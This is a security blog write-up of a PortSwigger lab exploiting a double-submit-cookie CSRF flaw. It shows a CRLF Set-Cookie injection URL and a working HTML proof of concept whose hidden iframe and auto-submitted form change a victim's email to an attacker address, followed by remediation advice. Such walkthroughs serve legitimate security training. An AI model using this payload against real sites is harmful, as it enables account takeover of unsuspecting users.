Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token is duplicated in cookie

CSRF where token is duplicated in cookie: Exploit a double submit cookie CSRF implementation to change a logged-in user’s email. The backend accepts a request if the csrf cookie and the csrf request parameter are equal — regardless of whether the value was legitimately issued by the server. • PortSwigger • CSRF • csrf

2022-09-181 tag
Tags

🎯 Objective

Exploit a double submit cookie CSRF implementation to change a logged-in user’s email. The backend accepts a request if the csrf cookie and the csrf request parameter are equal — regardless of whether the value was legitimately issued by the server.


🧩 Lab Setup & Assumptions

  • Auth: User is already authenticated (session cookie maintained by the browser).
  • Vulnerable action: POST to change email address.
  • CSRF implementation: Double Submit Cookie pattern (server compares csrf cookie with csrf form field).
  • CRLF injection: The search endpoint accepts CRLF (%0d%0a) and reflects headers, enabling Set-Cookie injection on the target origin.
  • Exploit server: Attacker-controlled server used to host the CSRF PoC.

🔎 Vulnerable Parameters & Cookies

  • Cookie: csrf=<value>
  • Request field: csrf=<value>
  • Observation: If both match, the request is accepted. The application doesn’t validate that the csrf value was genuinely issued by the server.

🔐 Risk Summary

  • The app does not bind the CSRF token to the session or user.
  • The value is not verified (only compared for equality between cookie and parameter).
  • The app allows CRLF header injection on a GET endpoint, letting an attacker set a forged csrf cookie on the victim’s browser (target origin).

🧭 Walkthrough

1) Baseline Request (Identify cookie + parameter equality check)

The request to change email includes a csrf cookie and a csrf form field with identical values.

Finding: The server only checks they are equal (not that the token is server-issued).


2) Forced Positive Test (Set both to the same arbitrary value)

Change both the csrf cookie and the csrf parameter to an arbitrary value (e.g., test).

Result: 302 then success → confirms equality-only validation.


3) Cookie Stuffing via CRLF (Set-Cookie injection on target origin)

Use the search endpoint to inject a Set-Cookie header. This sets the csrf cookie on the target origin within the victim’s browser.

Example (conceptual):
GET /?search=hat%0d%0aSet-Cookie:%20csrf=test;%20Path=/

Result: Response processed by the browser sets csrf=test for the target site.


4) Final CSRF PoC (Host on exploit server)

The PoC performs two steps:

  1. Loads the CRLF injection URL to set the csrf=test cookie on the target origin.
  2. Submits the email change form with csrf=test in the body.

Host the PoC on the exploit server:

✅ Working Exploit HTML

Replace TARGET with the real origin and update the paths if needed.

html
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <title>CSRF Double-Submit PoC</title>
  </head>
  <body>
    <!-- Step 1: Set csrf cookie on TARGET via CRLF header injection -->
    <iframe
      src="https://TARGET/?search=hat%0d%0aSet-Cookie:%20csrf=test;%20Path=/"
      style="display:none"
      onload="document.getElementById('xcsrf').submit();">
    </iframe>

    <!-- Step 2: Submit email change with csrf=test -->
    <form id="xcsrf" action="https://TARGET/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.example">
      <input type="hidden" name="csrf"  value="test">
    </form>
  </body>
</html>

Why it works:

  • The iframe sets csrf=test on the target origin (via CRLF Set-Cookie injection).
  • The form submits csrf=test in the body.
  • Backend checks equality only → accepts the request and changes the email.

🧪 Verification

  • Observe 302 then 200 on follow-up.
  • Confirm email changed in the account profile.

🛡️ Remediation

  1. Use server-issued, session-bound CSRF tokens (store token server-side and bind to session/user).
  2. Rotate token per request/form where feasible.
  3. Enforce SameSite cookies (SameSite=Lax or Strict) for session and CSRF-related cookies.
  4. Fix CRLF injection (sanitize \r and \n; reject inputs containing them).
  5. Verify Origin/Referer (strict same-site checks; don’t treat missing headers as pass).
  6. Disable credentialed cross-site requests where possible and set CSP to reduce attack surface.

📎 Appendix — Key Evidence

  • Equality-only validation confirmed by altering cookie & parameter to test → accepted.
  • CRLF on search endpoint allows header injection → Set-Cookie works cross-site.
  • Full flow succeeds from attacker-controlled exploit server.

Screenshots (click to view):

  • Baseline (cookie/param):
  • Forced positive test (302):
  • Header injection to set cookie:
  • Final PoC (local):
  • Hosted on exploit server:

📚 References

  • OWASP Cheat Sheet Series — CSRF Prevention
  • OWASP Testing Guide — CSRF Testing
  • PortSwigger Academy — CSRF labs
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Lab Setup & Assumptions
  3. 03🔎 Vulnerable Parameters & Cookies
  4. 04🔐 Risk Summary
  5. 05🧭 Walkthrough
  6. 061) Baseline Request (Identify cookie + parameter equality check)
  7. 072) Forced Positive Test (Set both to the same arbitrary value)
  8. 083) Cookie Stuffing via CRLF (Set-Cookie injection on target origin)
  9. 094) Final CSRF PoC (Host on exploit server)
  10. 10🧪 Verification
  11. 11🛡️ Remediation
  12. 12📎 Appendix — Key Evidence
  13. 13📚 References
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.